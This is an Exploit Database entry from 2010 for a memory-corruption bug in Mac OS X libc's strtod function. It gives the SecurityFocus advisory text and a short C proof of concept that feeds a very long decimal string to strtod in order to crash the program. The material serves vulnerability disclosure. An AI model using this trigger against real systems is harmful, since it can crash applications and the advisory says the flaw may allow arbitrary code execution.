Apple Mac OSX 10.x – ‘libc/strtod(3)’ Memory Corruption

• Exploit Database
• 15 阅读

• 作者： Maksymilian Arciemowicz
  日期： 2010-01-08
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/33479/

• // source: https://www.securityfocus.com/bid/37687/info
  
  Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.
  
  Attackers may exploit this issue to execute arbitrary code within the context of affected applications.
  
  Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable. 
  
  #include <stdio.h>
  #include <stdlib.h>
  int main ()
  {
  char number[] = "0.1111111111...11", *e;
  double weed = strtod(number, &e);
  printf("grams = %lf\n", weed);
  return 0;
  }